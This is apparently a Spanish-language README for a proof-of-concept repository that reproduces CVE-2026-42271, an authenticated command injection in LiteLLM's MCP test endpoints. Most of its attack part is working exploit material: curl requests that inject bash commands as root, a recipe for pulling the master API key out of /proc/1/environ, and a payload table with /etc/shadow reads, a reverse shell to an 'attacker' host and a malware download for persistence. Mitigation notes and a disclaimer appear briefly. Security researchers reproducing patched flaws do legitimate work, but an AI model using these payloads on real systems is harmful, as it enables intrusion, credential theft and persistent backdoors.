
El código para reproducir personalmente la vulnerabilidad correspondiente
LiteLLM
POST /mcp-rest/test/connectionyPOST /mcp-rest/test/tools/list— Inyección de comandos autenticada a través del transporte MCP stdio. Cualquier clave API válida puede ejecutar comandos arbitrarios del sistema operativo como root (en la implementación Docker predeterminada).Imagen fijada por digest: el contenedor vulnerable está fijado a LiteLLM v1.82.6, asegurando reproducibilidad a largo plazo.
| Field | Value |
|---|---|
| CVE | CVE-2026-42271 |
| CVSS v4.0 | 8.7 (HIGH) — CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-77 / CWE-78 (Inyección de comandos del sistema operativo) |
| Afectado | LiteLLM >= 1.74.2, < 1.83.7 |
| Corregido | v1.83.7+ (lista blanca de comandos + verificación de rol PROXY_ADMIN añadida) |
| Publicado | 2026-05-08 |
| Versión fijada | v1.82.6 — Imagen fijada por digest, asegurando reproducibilidad a largo plazo |
| Enlaces | GHSA-v4p8-mg3p-g94g • NVD • GitLab Advisory |
Dos endpoints utilizados para previsualizar un servidor MCP antes de guardarlo — POST /mcp-rest/test/connection y POST /mcp-rest/test/tools/list — aceptan una configuración completa del servidor MCP en el cuerpo de la solicitud, incluyendo los campos command, args y env utilizados por el transporte stdio.
Cuando se invocan con una configuración stdio, los endpoints lanzan el comando proporcionado como un subproceso en el host del proxy con los privilegios del proceso proxy (root en el Docker predeterminado).
Problema clave: Los endpoints solo verifican una clave API de proxy válida sin verificación de rol — incluso las claves de internal_user con bajos privilegios pueden explotar esto.
# 1. Iniciar una instancia vulnerable de LiteLLM (fijada a v1.82.6)
docker compose up -d
# 2. Ejecutar el exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" --cmd "id"
# O usar curl directamente (RCE ciega — la respuesta puede mostrar error, pero el comando se ejecuta)
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/mcp-rest/test/tools/list \
-d '{
"transport": "stdio",
"command": "bash",
"args": ["-c", "id > /tmp/pwned"]
}'
# Verificar que el comando se ejecutó dentro del contenedor
docker exec litellm-cve cat /tmp/pwned
# Salida: uid=0(root) gid=0(root) groups=0(root),0(root),...
La API devuelve "Failed to connect to MCP server" porque el proceso lanzado no habla el protocolo MCP — pero el comando ya se ha ejecutado con privilegios de root.
POST /mcp-rest/test/connectionPrueba una conexión con un servidor MCP. Con transporte stdio, lanza el comando proporcionado.
POST /mcp-rest/test/tools/listLista las herramientas de un servidor MCP de prueba. Mismo comportamiento — lanza el comando proporcionado al usar transporte stdio.
{
"transport": "stdio",
"command": "bash",
"args": ["-c", "<comando malicioso>"],
"env": {
"PATH": "/usr/bin:/bin"
}
}
La corrección añadió dos capas de defensa:
validate_transport_fields() — solo permite: npx, uvx, python, python3, node, docker, denoPROXY_ADMINCVE-2026-42271/
├── README.md # Este archivo
├── docker-compose.yml # Entorno vulnerable con un solo comando (fijado a v1.82.6)
├── requirements.txt # Dependencias
├── exploit/
│ ├── exploit.py # Script de exploit completo
│ └── payload.py # Módulo de generación de payloads
├── docs/
│ └── advisory.md # Referencia del aviso
└── screenshots/ # Capturas de pantalla de la prueba
PROXY_ADMIN)/mcp-rest/test/connection y /mcp-rest/test/tools/list en el proxy inversodocker run --user 1000:1000 ...Al reproducir la sección 5.7 (extracción de variables de entorno del proceso), tenga en cuenta que MCP Python SDK v1.25.0+ al crear subprocesos stdio no hereda las variables de entorno del proceso padre de LiteLLM. El SDK, mediante get_default_environment(), solo pasa HOME y PATH, y luego fusiona el campo env especificado explícitamente por el usuario.
Por lo tanto, env > /tmp/env_dump no capturará LITELLM_MASTER_KEY.
Procedimiento correcto: extraer las variables de entorno leyendo /proc/1/environ del proceso principal de LiteLLM:
# Extraer variables de entorno (a través de /proc/1/environ)
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/mcp-rest/test/tools/list \
-d '{
"transport": "stdio",
"command": "bash",
"args": ["-c", "cat /proc/1/environ | tr \"\\0\" \"\\n\" > /tmp/env_dump"]
}'
# Ver el resultado
docker exec litellm-cve cat /tmp/env_dump | grep -E "LITELLM|MASTER"
# Salida: LITELLM_MASTER_KEY=sk-litellm-master-key
Consulte el informe de reproducción sección 5.7 para más detalles.
Descargo de responsabilidad: Este contenido se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas.
| Escenario | Payload |
|---|
| RCE básico | "args": ["-c", "id > /tmp/pwned"] |
| Leer archivos | "args": ["-c", "cat /etc/shadow > /tmp/out"] |
| Exfiltrar entorno | "args": ["-c", "cat /proc/1/environ | tr '\\0' '\\n' > /tmp/env"] → contiene LITELLM_MASTER_KEY |
| Shell inversa | "args": ["-c", "bash -i >& /dev/tcp/attacker/4444 0>&1"] |
| Persistencia | "args": ["-c", "curl http://attacker/malware -o /tmp/backdoor && chmod +x /tmp/backdoor"] |
| Campo | Tipo | Requerido | Descripción |
|---|
transport | string | Sí | Debe ser "stdio" para la inyección de comandos |
command | string | Sí | Ejecutable a lanzar (ej., bash, python, curl) |
args | array | Sí | Argumentos pasados al comando |
env | object | No | Variables de entorno para el subproceso |